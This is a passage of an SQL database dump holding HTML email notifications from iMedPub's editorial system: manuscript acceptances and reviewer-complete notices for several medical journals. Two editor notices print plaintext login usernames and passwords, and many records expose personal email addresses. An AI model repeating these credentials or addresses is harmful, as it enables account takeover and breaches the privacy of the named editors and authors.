5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','amalia1991@uin-malang.ac.id',10738,'2021-09-30',319),(3774,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-10648</b><br />\r\n            <br />\r\n            Article Title: <b>Is Immunology growing rapidly in scientific field?</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Twain Mark</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Biomedical Sciences</b><br />\r\n            <br />\r\n            Dear Dr. <b>Shekhar</b><br />\r\n            <br />\r\n            The review for the manuscript <b>ipjbs-21-10648</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','sekharsudhansu@hotmail.com',10648,'2021-10-01',1216),(3775,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-10648</b><br />\r\n            <br />\r\n            Article Title: <b>Is Immunology growing rapidly in scientific field?</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jbiomeds.com/\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Mark</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-10-01</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','wainmark17@gmail.com',10648,'2021-10-01',1216),(3776,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-10649</b><br />\r\n            <br />\r\n            Article Title: <b>Clinical issues is the human dimension of a drug project</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Ronald Franklin</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Biomedical Sciences</b><br />\r\n            <br />\r\n            Dear Dr. <b>Shekhar</b><br />\r\n            <br />\r\n            The review for the manuscript <b>ipjbs-21-10649</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','sekharsudhansu@hotmail.com',10649,'2021-10-01',1216),(3777,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-10649</b><br />\r\n            <br />\r\n            Article Title: <b>Clinical issues is the human dimension of a drug project</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Ronald Franklin</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Biomedical Sciences</b><br />\r\n            <br />\r\n            Dear Dr. <b>Shekhar</b><br />\r\n            <br />\r\n            The review for the manuscript <b>ipjbs-21-10649</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','sekharsudhansu@hotmail.com',10649,'2021-10-01',1216),(3778,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-10649</b><br />\r\n            <br />\r\n            Article Title: <b>Clinical issues is the human dimension of a drug project</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jbiomeds.com/\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Franklin</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-10-01</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','franknald56@gmail.com',10649,'2021-10-01',1216),(3779,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-10466</b><br />\r\n            <br />\r\n            Article Title: <b>The Prevalence of Hepatis E, Hepatitis C and Hepatitis B Surface Antigenemias in HAART Experienced People Living with Human Immunodeficiency Virus (HIV) in Rivers State, Nigeria.</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Aaron Umasoye</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Biomedical Sciences</b><br />\r\n            <br />\r\n            Dear Dr. <b>Shekhar</b><br />\r\n            <br />\r\n            The review for the manuscript <b>ipjbs-21-10466</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','sekharsudhansu@hotmail.com',10466,'2021-10-01',1216),(3780,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-10466</b><br />\r\n            <br />\r\n            Article Title: <b>The Prevalence of Hepatis E, Hepatitis C and Hepatitis B Surface Antigenemias in HAART Experienced People Living with Human Immunodeficiency Virus (HIV) in Rivers State, Nigeria.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jbiomeds.com/\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Umasoye</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-10-01</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','umasoye.aaron@uniport.edu.ng',10466,'2021-10-01',1216),(3787,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaclr-21-10524</b><br />\r\n            <br />\r\n            Article Title: <b>Expression of HER2 in Gastric Carcinoma</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.aclr.com.es/\" target=\"_blank\">Annals of Clinical and Laboratory Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Pavel</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Annals of Clinical and Laboratory Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-10-04</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@galleyproofs.com\">accounting@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.aclr.com.es/\">Annals of Clinical and Laboratory Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','publicationhub098@gmail.com',10524,'2021-10-05',984),(3791,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-9235</b><br />\r\n            <br />\r\n            Article Title: <b>RUPTURA DE MULTIPLES ANEURISMAS CEREBRALES ASOCIADO A SINDROME DE SJ&Ouml;GREN SECUNDARIO. REPORTE DE UN CASO</b><br />\r\n            <br />\r\n            Journal Title: <b>Archivos de Medicina</b><br />\r\n            <br />\r\n            Dear Dr. <b>Tavares S&aacute;nchez</b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipadm-21-9235</b> for the <b>Archivos de Medicina</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','dr.tavaressanchez@gmail.com',9235,'2021-10-05',274),(3795,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-10470</b><br />\r\n            <br />\r\n            Article Title: <b>Cerebral salt wasting due to bilateral hypothamic lesions as a presentation of NMOSD: A case illustration and retrospective review of local occurrence.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Abdullah</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-09-24</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','suhailahabd08@yahoo.com',10470,'2021-10-05',75),(3798,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-10628</b><br />\r\n            <br />\r\n            Article Title: <b>Neurological Manifestations Post Recreational Nitrous Oxide Exposure and its Implications for Rehabilitation: A Systematic Review of the Case Literature</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Bulathsinhala</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-09-30</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','t.bulathsinhala@unswalumni.com',10628,'2021-10-06',75),(3800,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaclr-21-10055</b><br />\r\n            <br />\r\n            Article Title: <b>DETERMINATION OF EFFICACY AND RELIABILITY OF VARIOUS DISCRIMINATION INDICES IN SCREENING BETA THALASSEMIA TRAIT</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.aclr.com.es/\" target=\"_blank\">Annals of Clinical and Laboratory Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Khan</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Annals of Clinical and Laboratory Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-10-05</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@galleyproofs.com\">accounting@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.aclr.com.es/\">Annals of Clinical and Laboratory Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','saima.khan1501@gmail.com',10055,'2021-10-06',984),(3806,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-9639</b><br />\r\n            <br />\r\n            Article Title: <b>Tuberculosis cut&Atilde;&iexcl;nea un tipo extrapulmonar poco frecuente</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivosdemedicina.com/\" target=\"_blank\">Archivos de Medicina</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Salas Romero</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archivos de Medicina</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-10-06</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@journalinvoice.com\">accounting@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','soraya.salas@curnvirtual.edu.co',9639,'2021-10-07',274),(3808,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-10409</b><br />\r\n            <br />\r\n            Article Title: <b>Adaptation and validation of a scale measuring job satisfaction among administrative staff at Hanoi Obstetrics &amp; Gynecology Hospital</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Nguyen</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-10-07</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','bsanhs@pshn.org',10409,'2021-10-08',48),(3809,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-21-10865</b><br />\r\n            <br />\r\n            Article Title: <b>THYROID STIMULATING HORMONE CORRELATION WITH  ANALYSIS OF FASTING BILE AND STONE IN GALLSTONE  DISEASES</b><br />\r\n            <br />\r\n            Corresponding Author: <b>VINEET TIPPISETTY</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Universal Surgery</b><br />\r\n            <br />\r\n            Dear Dr. <b>Wang</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>IPJUS-21-10865</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> yang<br />\r\n            <b>Password:</b> MikP82VX<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','ivywang@creighton.edu',10865,'2021-10-08',319),(3810,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-21-10865</b><br />\r\n            <br />\r\n            Article Title: <b>THYROID STIMULATING HORMONE CORRELATION WITH  ANALYSIS OF FASTING BILE AND STONE IN GALLSTONE  DISEASES</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jusurgery.com/\" target=\"_blank\">Journal of Universal Surgery</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>TIPPISETTY</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Universal Surgery</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-10-08</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','vineetthippisetty@gmail.com',10865,'2021-10-08',319),(3814,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-10838</b><br />\r\n            <br />\r\n            Article Title: <b>MATERNAL SUICIDE CONTINUES TO REACH FRIGHTENING RATES: SYSTEMATIC REVIEW</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Monique Leite Sampaio</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Shyam </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-21-10838</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> sundar_nandi<br />\r\n            <b>Password:</b> 72j2Bjjk<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','shyam.nandi@unmc.edu',10838,'2021-10-11',85),(3819,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-10838</b><br />\r\n            <br />\r\n            Article Title: <b>MATERNAL SUICIDE CONTINUES TO REACH FRIGHTENING RATES: SYSTEMATIC REVIEW</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Sampaio</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-10-11</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br 